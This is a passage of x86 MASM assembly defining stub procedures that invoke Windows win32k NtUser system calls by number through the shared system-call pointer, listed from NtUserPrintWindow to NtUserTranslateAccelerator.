; ULONG __stdcall NtUserPrintWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserPrintWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4606 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserPrintWindow ENDP ; ULONG __stdcall NtUserProcessConnect( ULONG arg_01 , ULONG arg_02 ); NtUserProcessConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4607 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserProcessConnect ENDP ; ULONG __stdcall NtUserQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4608 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserQueryInformationThread ENDP ; ULONG __stdcall NtUserQueryInputContext( ULONG arg_01 , ULONG arg_02 ); NtUserQueryInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4609 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserQueryInputContext ENDP ; ULONG __stdcall NtUserQuerySendMessage( ULONG arg_01 ); NtUserQuerySendMessage PROC STDCALL arg_01:DWORD mov eax , 4610 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserQuerySendMessage ENDP ; ULONG __stdcall NtUserQueryWindow( ULONG arg_01 , ULONG arg_02 ); NtUserQueryWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4611 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserQueryWindow ENDP ; ULONG __stdcall NtUserRealChildWindowFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRealChildWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4612 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRealChildWindowFromPoint ENDP ; ULONG __stdcall NtUserRealInternalGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserRealInternalGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4613 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserRealInternalGetMessage ENDP ; ULONG __stdcall NtUserRealWaitMessageEx( ULONG arg_01 , ULONG arg_02 ); NtUserRealWaitMessageEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4614 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRealWaitMessageEx ENDP ; ULONG __stdcall NtUserRedrawWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRedrawWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4615 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRedrawWindow ENDP ; ULONG __stdcall NtUserRegisterClassExWOW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserRegisterClassExWOW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4616 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserRegisterClassExWOW ENDP ; ULONG __stdcall NtUserRegisterErrorReportingDialog( ULONG arg_01 , ULONG arg_02 ); NtUserRegisterErrorReportingDialog PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4617 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRegisterErrorReportingDialog ENDP ; ULONG __stdcall NtUserRegisterUserApiHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRegisterUserApiHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4618 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRegisterUserApiHook ENDP ; ULONG __stdcall NtUserRegisterHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRegisterHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4619 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRegisterHotKey ENDP ; ULONG __stdcall NtUserRegisterRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRegisterRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4620 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRegisterRawInputDevices ENDP ; ULONG __stdcall NtUserRegisterServicesProcess( ULONG arg_01 ); NtUserRegisterServicesProcess PROC STDCALL arg_01:DWORD mov eax , 4621 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterServicesProcess ENDP ; ULONG __stdcall NtUserRegisterTasklist( ULONG arg_01 ); NtUserRegisterTasklist PROC STDCALL arg_01:DWORD mov eax , 4622 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterTasklist ENDP ; ULONG __stdcall NtUserRegisterWindowMessage( ULONG arg_01 ); NtUserRegisterWindowMessage PROC STDCALL arg_01:DWORD mov eax , 4623 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRegisterWindowMessage ENDP ; ULONG __stdcall NtUserRemoveClipboardFormatListener( ULONG arg_01 ); NtUserRemoveClipboardFormatListener PROC STDCALL arg_01:DWORD mov eax , 4624 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserRemoveClipboardFormatListener ENDP ; ULONG __stdcall NtUserRemoveMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRemoveMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4625 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRemoveMenu ENDP ; ULONG __stdcall NtUserRemoveProp( ULONG arg_01 , ULONG arg_02 ); NtUserRemoveProp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4626 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRemoveProp ENDP ; ULONG __stdcall NtUserResolveDesktopForWOW( ULONG arg_01 ); NtUserResolveDesktopForWOW PROC STDCALL arg_01:DWORD mov eax , 4627 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserResolveDesktopForWOW ENDP ; ULONG __stdcall NtUserSBGetParms( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSBGetParms PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4628 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSBGetParms ENDP ; ULONG __stdcall NtUserScrollDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserScrollDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4629 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserScrollDC ENDP ; ULONG __stdcall NtUserScrollWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserScrollWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4630 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserScrollWindowEx ENDP ; ULONG __stdcall NtUserSelectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSelectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4631 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSelectPalette ENDP ; ULONG __stdcall NtUserSendInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSendInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4632 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSendInput ENDP ; ULONG __stdcall NtUserSetActiveWindow( ULONG arg_01 ); NtUserSetActiveWindow PROC STDCALL arg_01:DWORD mov eax , 4633 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetActiveWindow ENDP ; ULONG __stdcall NtUserSetAppImeLevel( ULONG arg_01 , ULONG arg_02 ); NtUserSetAppImeLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4634 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetAppImeLevel ENDP ; ULONG __stdcall NtUserSetCapture( ULONG arg_01 ); NtUserSetCapture PROC STDCALL arg_01:DWORD mov eax , 4635 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetCapture ENDP ; ULONG __stdcall NtUserSetChildWindowNoActivate( ULONG arg_01 ); NtUserSetChildWindowNoActivate PROC STDCALL arg_01:DWORD mov eax , 4636 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetChildWindowNoActivate ENDP ; ULONG __stdcall NtUserSetClassLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetClassLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4637 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetClassLong ENDP ; ULONG __stdcall NtUserSetClassWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetClassWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4638 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetClassWord ENDP ; ULONG __stdcall NtUserSetClipboardData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4639 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetClipboardData ENDP ; ULONG __stdcall NtUserSetClipboardViewer( ULONG arg_01 ); NtUserSetClipboardViewer PROC STDCALL arg_01:DWORD mov eax , 4640 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetClipboardViewer ENDP ; ULONG __stdcall NtUserSetCursor( ULONG arg_01 ); NtUserSetCursor PROC STDCALL arg_01:DWORD mov eax , 4641 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetCursor ENDP ; ULONG __stdcall NtUserSetCursorContents( ULONG arg_01 , ULONG arg_02 ); NtUserSetCursorContents PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4642 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetCursorContents ENDP ; ULONG __stdcall NtUserSetCursorIconData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetCursorIconData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4643 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetCursorIconData ENDP ; ULONG __stdcall NtUserSetFocus( ULONG arg_01 ); NtUserSetFocus PROC STDCALL arg_01:DWORD mov eax , 4644 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetFocus ENDP ; ULONG __stdcall NtUserSetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4645 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetImeHotKey ENDP ; ULONG __stdcall NtUserSetImeInfoEx( ULONG arg_01 ); NtUserSetImeInfoEx PROC STDCALL arg_01:DWORD mov eax , 4646 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetImeInfoEx ENDP ; ULONG __stdcall NtUserSetImeOwnerWindow( ULONG arg_01 , ULONG arg_02 ); NtUserSetImeOwnerWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4647 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetImeOwnerWindow ENDP ; ULONG __stdcall NtUserSetInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4648 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetInformationThread ENDP ; ULONG __stdcall NtUserSetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4649 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetInternalWindowPos ENDP ; ULONG __stdcall NtUserSetKeyboardState( ULONG arg_01 ); NtUserSetKeyboardState PROC STDCALL arg_01:DWORD mov eax , 4650 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetKeyboardState ENDP ; ULONG __stdcall NtUserSetMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4651 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetMenu ENDP ; ULONG __stdcall NtUserSetMenuContextHelpId( ULONG arg_01 , ULONG arg_02 ); NtUserSetMenuContextHelpId PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4652 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetMenuContextHelpId ENDP ; ULONG __stdcall NtUserSetMenuDefaultItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetMenuDefaultItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4653 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetMenuDefaultItem ENDP ; ULONG __stdcall NtUserSetMenuFlagRtoL( ULONG arg_01 ); NtUserSetMenuFlagRtoL PROC STDCALL arg_01:DWORD mov eax , 4654 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetMenuFlagRtoL ENDP ; ULONG __stdcall NtUserSetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4655 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetObjectInformation ENDP ; ULONG __stdcall NtUserSetParent( ULONG arg_01 , ULONG arg_02 ); NtUserSetParent PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4656 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetParent ENDP ; ULONG __stdcall NtUserSetProcessWindowStation( ULONG arg_01 ); NtUserSetProcessWindowStation PROC STDCALL arg_01:DWORD mov eax , 4657 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetProcessWindowStation ENDP ; ULONG __stdcall NtUserGetProp( ULONG arg_01 , ULONG arg_02 ); NtUserGetProp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4658 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetProp ENDP ; ULONG __stdcall NtUserSetProp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetProp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4659 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetProp ENDP ; ULONG __stdcall NtUserSetScrollInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetScrollInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4660 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetScrollInfo ENDP ; ULONG __stdcall NtUserSetShellWindowEx( ULONG arg_01 , ULONG arg_02 ); NtUserSetShellWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4661 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetShellWindowEx ENDP ; ULONG __stdcall NtUserSetSysColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetSysColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4662 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetSysColors ENDP ; ULONG __stdcall NtUserSetSystemCursor( ULONG arg_01 , ULONG arg_02 ); NtUserSetSystemCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4663 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetSystemCursor ENDP ; ULONG __stdcall NtUserSetSystemMenu( ULONG arg_01 , ULONG arg_02 ); NtUserSetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4664 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetSystemMenu ENDP ; ULONG __stdcall NtUserSetSystemTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetSystemTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4665 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetSystemTimer ENDP ; ULONG __stdcall NtUserSetThreadDesktop( ULONG arg_01 ); NtUserSetThreadDesktop PROC STDCALL arg_01:DWORD mov eax , 4666 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSetThreadDesktop ENDP ; ULONG __stdcall NtUserSetThreadLayoutHandles( ULONG arg_01 , ULONG arg_02 ); NtUserSetThreadLayoutHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4667 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetThreadLayoutHandles ENDP ; ULONG __stdcall NtUserSetThreadState( ULONG arg_01 , ULONG arg_02 ); NtUserSetThreadState PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4668 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetThreadState ENDP ; ULONG __stdcall NtUserSetTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4669 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetTimer ENDP ; ULONG __stdcall NtUserSetProcessDPIAware( ); NtUserSetProcessDPIAware PROC STDCALL mov eax , 4670 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSetProcessDPIAware ENDP ; ULONG __stdcall NtUserSetWindowCompositionAttribute( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowCompositionAttribute PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4671 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowCompositionAttribute ENDP ; ULONG __stdcall NtUserSetWindowDisplayAffinity( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowDisplayAffinity PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4672 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowDisplayAffinity ENDP ; ULONG __stdcall NtUserSetWindowFNID( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowFNID PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4673 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowFNID ENDP ; ULONG __stdcall NtUserSetWindowLong( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetWindowLong PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4674 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetWindowLong ENDP ; ULONG __stdcall NtUserSetWindowPlacement( ULONG arg_01 , ULONG arg_02 ); NtUserSetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4675 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetWindowPlacement ENDP ; ULONG __stdcall NtUserSetWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserSetWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4676 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserSetWindowPos ENDP ; ULONG __stdcall NtUserSetWindowRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4677 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowRgn ENDP ; ULONG __stdcall NtUserGetWindowRgnEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetWindowRgnEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4678 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetWindowRgnEx ENDP ; ULONG __stdcall NtUserSetWindowRgnEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowRgnEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4679 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowRgnEx ENDP ; ULONG __stdcall NtUserSetWindowsHookAW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowsHookAW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4680 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowsHookAW ENDP ; ULONG __stdcall NtUserSetWindowsHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserSetWindowsHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4681 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserSetWindowsHookEx ENDP ; ULONG __stdcall NtUserSetWindowStationUser( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSetWindowStationUser PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4682 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSetWindowStationUser ENDP ; ULONG __stdcall NtUserSetWindowWord( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSetWindowWord PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4683 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSetWindowWord ENDP ; ULONG __stdcall NtUserSetWinEventHook( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserSetWinEventHook PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4684 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserSetWinEventHook ENDP ; ULONG __stdcall NtUserShowCaret( ULONG arg_01 ); NtUserShowCaret PROC STDCALL arg_01:DWORD mov eax , 4685 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserShowCaret ENDP ; ULONG __stdcall NtUserShowScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserShowScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4686 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserShowScrollBar ENDP ; ULONG __stdcall NtUserShowWindow( ULONG arg_01 , ULONG arg_02 ); NtUserShowWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4687 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserShowWindow ENDP ; ULONG __stdcall NtUserShowWindowAsync( ULONG arg_01 , ULONG arg_02 ); NtUserShowWindowAsync PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4688 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserShowWindowAsync ENDP ; ULONG __stdcall NtUserSoundSentry( ); NtUserSoundSentry PROC STDCALL mov eax , 4689 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSoundSentry ENDP ; ULONG __stdcall NtUserSwitchDesktop( ULONG arg_01 , ULONG arg_02 ); NtUserSwitchDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4690 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSwitchDesktop ENDP ; ULONG __stdcall NtUserSystemParametersInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSystemParametersInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4691 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSystemParametersInfo ENDP ; ULONG __stdcall NtUserTestForInteractiveUser( ULONG arg_01 ); NtUserTestForInteractiveUser PROC STDCALL arg_01:DWORD mov eax , 4692 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserTestForInteractiveUser ENDP ; ULONG __stdcall NtUserThunkedMenuInfo( ULONG arg_01 , ULONG arg_02 ); NtUserThunkedMenuInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4693 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserThunkedMenuInfo ENDP ; ULONG __stdcall NtUserThunkedMenuItemInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserThunkedMenuItemInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4694 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserThunkedMenuItemInfo ENDP ; ULONG __stdcall NtUserToUnicodeEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserToUnicodeEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4695 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserToUnicodeEx ENDP ; ULONG __stdcall NtUserTrackMouseEvent( ULONG arg_01 ); NtUserTrackMouseEvent PROC STDCALL arg_01:DWORD mov eax , 4696 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserTrackMouseEvent ENDP ; ULONG __stdcall NtUserTrackPopupMenuEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserTrackPopupMenuEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4697 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserTrackPopupMenuEx ENDP ; ULONG __stdcall NtUserCalculatePopupWindowPosition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserCalculatePopupWindowPosition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4698 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserCalculatePopupWindowPosition ENDP ; ULONG __stdcall NtUserCalcMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserCalcMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4699 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserCalcMenuBar ENDP ; ULONG __stdcall NtUserPaintMenuBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserPaintMenuBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4700 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserPaintMenuBar ENDP ; ULONG __stdcall NtUserTranslateAccelerator( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserTranslateAccelerator PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4701 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserTranslateAccelerator 